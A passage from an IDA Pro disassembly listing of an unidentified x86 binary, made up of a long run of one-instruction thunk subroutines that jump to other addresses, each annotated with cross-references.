=============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: sub_406890+205p jmp sub_41B820 sub_4017F3 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: ___:00426A13p jmp sub_426A40 sub_4017FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401802 proc near ; CODE XREF: sub_41E660+FFp ; sub_41E660+179p ... jmp sub_421A80 sub_401802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: sub_40A110+7p jmp sub_40A130 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40180C proc near ; CODE XREF: sub_40B430+76p jmp sub_40B390 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: ___:00423E93p ; DATA XREF: ___:off_44444Co jmp sub_425020 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401816 proc near ; CODE XREF: sub_41E660+18Ep ; ___:0043B183j jmp sub_4218F0 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40181B proc near ; DATA XREF: ___:off_43E10Co jmp sub_426F20 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00416DDFp jmp sub_417DF0 sub_401820 endp ; --------------------------------------------------------------------------- jmp loc_42EC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; CODE XREF: sub_41E660+3BCp ; sub_4225B0+3p jmp sub_421C50 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: sub_4266A0+90p jmp sub_426960 sub_40182F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401834 proc near ; CODE XREF: ___:0042436Dp ; sub_424840+135p jmp sub_4243A0 sub_401834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_40BE40+3p ; ___:0040BF0Fp ... jmp sub_40C080 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_4070F0+36p ; sub_4070F0+72p ... jmp sub_407340 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401843 proc near ; CODE XREF: ___:00413181p jmp sub_415680 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: ___:0040B9D1p ; ___:0040BA98p ... jmp sub_412AA0 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: ___:00431FEFp ; ___:004320FFp ... jmp sub_431B30 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401852 proc near ; DATA XREF: ___:004322AAo ; ___:00432410o jmp sub_431BA0 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401857 proc near ; CODE XREF: sub_416360+7p jmp sub_416740 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: sub_418330+34p jmp sub_404C20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap ; sub_4034E0+9Ep ... jmp sub_409B40 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401866 proc near ; CODE XREF: sub_420530+152p jmp sub_4207A0 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: ___:0041A228p ; sub_41B010+3p ... jmp sub_41B040 sub_40186B endp ; --------------------------------------------------------------------------- jmp loc_429D70 ; --------------------------------------------------------------------------- jmp loc_41C0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:00416A4Bp ; ___:00439F6Cj ... jmp sub_416D10 sub_40187A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187F proc near ; CODE XREF: sub_40FF60+217p ; sub_41FD90+4Cp ... jmp sub_41FD50 sub_40187F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp jmp sub_428160 sub_401884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:0042C005p jmp sub_427DC0 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; DATA XREF: ___:0043E184o jmp sub_42A150 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp jmp sub_41AD30 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near jmp sub_432ED0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; CODE XREF: ___:004141C5p ; sub_414D40+1B2p jmp sub_413DA0 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p jmp sub_40A110 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp jmp sub_4203D0 sub_4018A7 endp ; --------------------------------------------------------------------------- jmp loc_431D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_40A910+14p jmp sub_40ABC0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_413510+B4p ; ___:00414B90p ... jmp sub_415620 sub_4018B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp ; sub_41A2B0+1B5p jmp sub_41AF60 sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: ___:004310DAp jmp sub_430A90 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp jmp sub_419030 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: ___:00416A9Bp ; ___:00439F26j ... jmp sub_4178F0 sub_4018CA endp ; --------------------------------------------------------------------------- jmp loc_419DD0 ; --------------------------------------------------------------------------- jmp sub_41A0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018D9 proc near ; CODE XREF: sub_41E660+46p jmp sub_4218B0 sub_4018D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018DE proc near ; CODE XREF: ___:0042C135p jmp sub_4299C0 sub_4018DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E3 proc near ; CODE XREF: sub_422130+7p jmp sub_422520 sub_4018E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p ; sub_422410+18p jmp sub_422590 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: sub_4221B0+8p jmp sub_422570 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p ; sub_4147D0+4Fp ... jmp sub_415730 sub_4018F2 endp ; --------------------------------------------------------------------------- jmp loc_430A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp jmp sub_421D50 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401901 proc near ; CODE XREF: sub_4218B0+11p ; sub_421D50+1Fp jmp sub_421E80 sub_401901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401906 proc near ; CODE XREF: sub_40B390+6Dp jmp sub_40BD90 sub_401906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_409450+13p jmp sub_409580 sub_40190B endp ; --------------------------------------------------------------------------- jmp loc_4365C0 ; --------------------------------------------------------------------------- jmp sub_41B010 ; --------------------------------------------------------------------------- loc_40191A: ; DATA XREF: ___:off_43E068o jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40191F proc near ; CODE XREF: ___:00413B31p jmp sub_4139B0 sub_40191F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401924 proc near ; CODE XREF: ___:00413193p ; sub_413220+32p jmp sub_4154D0 sub_401924 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401929 proc near ; CODE XREF: ___:00416B4Bp ; ___:00439E8Cj ... jmp sub_417020 sub_401929 endp ; --------------------------------------------------------------------------- jmp loc_4310A0 ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: sub_41C610+F1p ; sub_41C610+270p ... jmp sub_420E10 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_40A400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401942 proc near ; CODE XREF: sub_404C70+283p ; sub_40ED70+D2p ... jmp sub_40EF90 sub_401942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401947 proc near ; CODE XREF: sub_4218F0+34p ; sub_422240+67p jmp sub_421ED0 sub_401947 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40194C proc near ; CODE XREF: sub_404C70+BF7p jmp sub_4066E0 sub_40194C endp ; --------------------------------------------------------------------------- jmp loc_432360 ; --------------------------------------------------------------------------- loc_401956: ; DATA XREF: sub_41FC00+39o jmp loc_41FB30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: ___:0041A19Ep ; sub_41A2B0+Bp ... jmp sub_41A290 sub_40195B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401960 proc near ; CODE XREF: ___:0041AB86p ; ___:0041AC66p jmp sub_41A890 sub_401960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401965 proc near jmp sub_419220 sub_401965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: sub_411910+2Ep ; sub_411B10+3p jmp sub_411A50 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: sub_41E660+F5p ; sub_41E660+16Fp ... jmp sub_4219A0 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401974 proc near ; CODE XREF: sub_409450+4p ; sub_409600+1Fp ... jmp sub_409500 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near jmp sub_409A30 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41F860+20p ; sub_429AA0+37p jmp sub_41FE50 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_413510+4Ap ; ___:00414B3Fp ... jmp sub_415420 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near ; CODE XREF: sub_40A430+A8p jmp sub_40A850 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_40CBB0+41p jmp sub_40CE60 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: ___:00433405p ; ___:00433505p jmp sub_433160 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_4218F0+29p jmp sub_421DF0 sub_401997 endp ; --------------------------------------------------------------------------- jmp loc_42ECF0 ; --------------------------------------------------------------------------- jmp loc_42ECC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp ; sub_40A9F0+91p jmp sub_40A910 sub_4019A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019AB proc near ; CODE XREF: sub_422050+23p ; sub_422410+11p jmp sub_4225B0 sub_4019AB endp ; --------------------------------------------------------------------------- jmp loc_41AB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp ; ___:0040403Fp ... jmp sub_4034E0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422750+6p jmp sub_4227C0 sub_4019BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BF proc near ; DATA XREF: ___:off_43E050o jmp sub_416C30 sub_4019BF endp ; --------------------------------------------------------------------------- jmp sub_40FD70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019C9 proc near ; CODE XREF: sub_407410+4p jmp sub_407540 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; CODE XREF: ___:0040B629p ; ___:0040BA46p ... jmp sub_40B520 sub_4019CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p ; sub_40FF60+E6Ap jmp sub_411B10 sub_4019D3 endp ; --------------------------------------------------------------------------- jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp jmp sub_414640 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o jmp sub_42B880 sub_4019E2 endp ; --------------------------------------------------------------------------- loc_4019E7: ; DATA XREF: ___:off_43E0D0o jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_421A10+3p jmp sub_421F30 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp jmp sub_40B0B0 sub_4019F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F6 proc near jmp sub_4132E0 sub_4019F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_41E660+477p jmp sub_4200F0 sub_4019FB endp ; --------------------------------------------------------------------------- jmp loc_421850 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A05 proc near ; DATA XREF: ___:0043E124o jmp sub_427650 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A0A proc near jmp sub_411B40 sub_401A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0F proc near ; CODE XREF: sub_4331D0+92p jmp sub_430940 sub_401A0F endp ; --------------------------------------------------------------------------- jmp loc_427FC0 ; --------------------------------------------------------------------------- jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A1E proc near ; CODE XREF: sub_421DF0+32p jmp sub_422240 sub_401A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A23 proc near ; CODE XREF: ___:00416ADBp ; sub_416C30+3p ... jmp sub_416C00 sub_401A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A28 proc near ; CODE XREF: ___:00423A04p ; ___:004272F8p ... jmp sub_420D00 sub_401A28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A2D proc near ; CODE XREF: sub_422210+Ap jmp sub_422620 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00412ECFp ; ___:00412F84p ... jmp sub_404640 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: sub_409450+1Ap ; sub_409530+4p ... jmp sub_4094C0 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A3C proc near ; DATA XREF: ___:off_43E028o jmp sub_40FD70 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; DATA XREF: ___:0043E0E4o jmp sub_4266A0 sub_401A41 endp ; --------------------------------------------------------------------------- jmp loc_409D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep jmp sub_416550 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; CODE XREF: ___:0042F2F0p ; sub_430F00+36p ... jmp sub_430340 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep jmp sub_433900 sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5A proc near ; CODE XREF: sub_4149A0+3p jmp sub_4149D0 sub_401A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: ___:004081D0p ; ___:00408661p jmp sub_409490 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A64 proc near ; DATA XREF: ___:0043E0E0o ; ___:0043E0F0o ... jmp sub_4263D0 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp jmp sub_42C810 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_420530+191p ; sub_4227C0+3p ... jmp sub_4207C0 sub_401A6E endp ; --------------------------------------------------------------------------- jmp loc_42EFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A78 proc near ; CODE XREF: sub_4225E0+5p jmp sub_422750 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A7D proc near ; CODE XREF: ___:00416E4Ap jmp sub_418100 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_407220+5p ; sub_407310+6p ... jmp sub_407460 sub_401A82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A87 proc near ; CODE XREF: sub_4034E0+90p ; sub_404C70+40Fp ... jmp sub_40A6A0 sub_401A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp ; sub_41EF30+52Fp jmp sub_41FD90 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00431DCAp jmp sub_42F840 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A96 proc near ; CODE XREF: sub_415490+1Fp jmp sub_415DD0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p ; sub_409E70+Fp ... jmp sub_409DA0 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_431560+17p ; sub_431560+33p jmp sub_433710 sub_401AA0 endp ; --------------------------------------------------------------------------- jmp loc_433480 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_401AAF: ; DATA XREF: ___:off_43E0FCo jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p ; sub_424E90+120p jmp sub_424D40 sub_401AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB9 proc near ; DATA XREF: ___:off_43E034o jmp sub_411FE0 sub_401AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ABE proc near ; DATA XREF: ___:0041FB33o jmp sub_41FA90 sub_401ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp jmp sub_4072D0 sub_401AC3 endp ; --------------------------------------------------------------------------- jmp loc_432BA0 ; --------------------------------------------------------------------------- loc_401ACD: ; DATA XREF: ___:off_43E020o jmp loc_40B8D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp ; sub_403EE0+3Bp ... jmp sub_403D10 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_413510+66p ; sub_413510+CAp ... jmp sub_415650 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_41B780 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE1 proc near jmp sub_4227F0 sub_401AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp ; ___:00439EA8j ... jmp sub_40B170 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: ___:00421764p ; ___:0042179Ep jmp sub_4215D0 sub_401AEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p jmp sub_4070F0 sub_401AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo jmp sub_41A0E0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416F0Fp jmp sub_418900 sub_401AFA endp ; --------------------------------------------------------------------------- loc_401AFF: ; CODE XREF: ___:00438C76j jmp loc_40CAF0 ; --------------------------------------------------------------------------- loc_401B04: ; DATA XREF: ___:off_43E16Co jmp loc_429D70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B09 proc near ; CODE XREF: sub_416FB0+28p jmp sub_418890 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:004319E7p jmp sub_431A20 sub_401B0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp jmp sub_4303D0 sub_401B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B18 proc near jmp sub_40AEA0 sub_401B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B1D proc near ; CODE XREF: ___:00418C7Bp ; sub_418E90+28p ... jmp sub_418F50 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o jmp sub_42B4F0 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: ___:00416A7Bp ; ___:00439F42j ... jmp sub_4179D0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B2C proc near ; CODE XREF: ___:00408706p ; ___:00408727p ... jmp sub_407660 sub_401B2C endp ; --------------------------------------------------------------------------- jmp loc_414AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; CODE XREF: sub_41C610+83p ; sub_4282C0+3Fp jmp sub_41D540 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: sub_41A890+11p jmp sub_41A8C0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B40 proc near ; CODE XREF: sub_41E660+339p jmp sub_421C10 sub_401B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B45 proc near ; CODE XREF: sub_414C70+3p jmp sub_414CA0 sub_401B45 endp ; --------------------------------------------------------------------------- jmp loc_432CA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p jmp sub_42F540 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p ; ___:00439158j jmp sub_412BC0 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near jmp sub_40D580 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B5E proc near ; CODE XREF: sub_407660+3Bp ; sub_4076F0+43p jmp sub_40B430 sub_401B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_4072D0+3p jmp sub_4074A0 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B68 proc near ; CODE XREF: sub_424840+9Dp ; sub_424840+FBp ... jmp sub_4245F0 sub_401B68 endp ; --------------------------------------------------------------------------- loc_401B6D: ; DATA XREF: ___:off_43E084o jmp loc_425BD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B72 proc near ; CODE XREF: sub_40FF60+413p ; sub_40FF60+F69p ... jmp sub_409F60 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: ___:00425474p jmp sub_4254E0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B7C proc near ; CODE XREF: sub_422050+32p jmp sub_422410 sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p jmp sub_41A6D0 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_40BF60+23p ; sub_40C120+11p jmp sub_40C2C0 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:0042B833p jmp sub_42B860 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near jmp sub_41E140 sub_401B90 endp ; --------------------------------------------------------------------------- loc_401B95: ; DATA XREF: sub_42FF50+86o jmp loc_431650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_409530+20p jmp sub_409600 sub_401B9A endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o jmp sub_40CBB0 sub_401BA4 endp ; --------------------------------------------------------------------------- jmp loc_4309D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp jmp sub_421FB0 sub_401BAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BB3 proc near ; CODE XREF: sub_427520+39p jmp sub_4270E0 sub_401BB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; CODE XREF: sub_415730+5p ; sub_415930+6p ... jmp sub_416380 sub_401BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp ; sub_431730+3Ep jmp sub_4304D0 sub_401BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC2 proc near ; CODE XREF: ___:00432129p ; ___:0043214Ap ... jmp sub_430C00 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC7 proc near ; CODE XREF: ___:00425DA2p jmp sub_4269A0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_41B3D0+3p jmp sub_41B400 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_428220+3p jmp sub_428250 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: sub_422A40+924p ; ___:0042408Ap jmp sub_4258E0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: sub_42D2C0+18Dp ; sub_42D2C0+1CDp ... jmp sub_42DFD0 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE0 proc near ; CODE XREF: ___:0041426Cp jmp sub_414360 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE5 proc near jmp sub_40C360 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_425020+8Bp jmp sub_424840 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: ___:0040B11Ep ; sub_40B170+34p 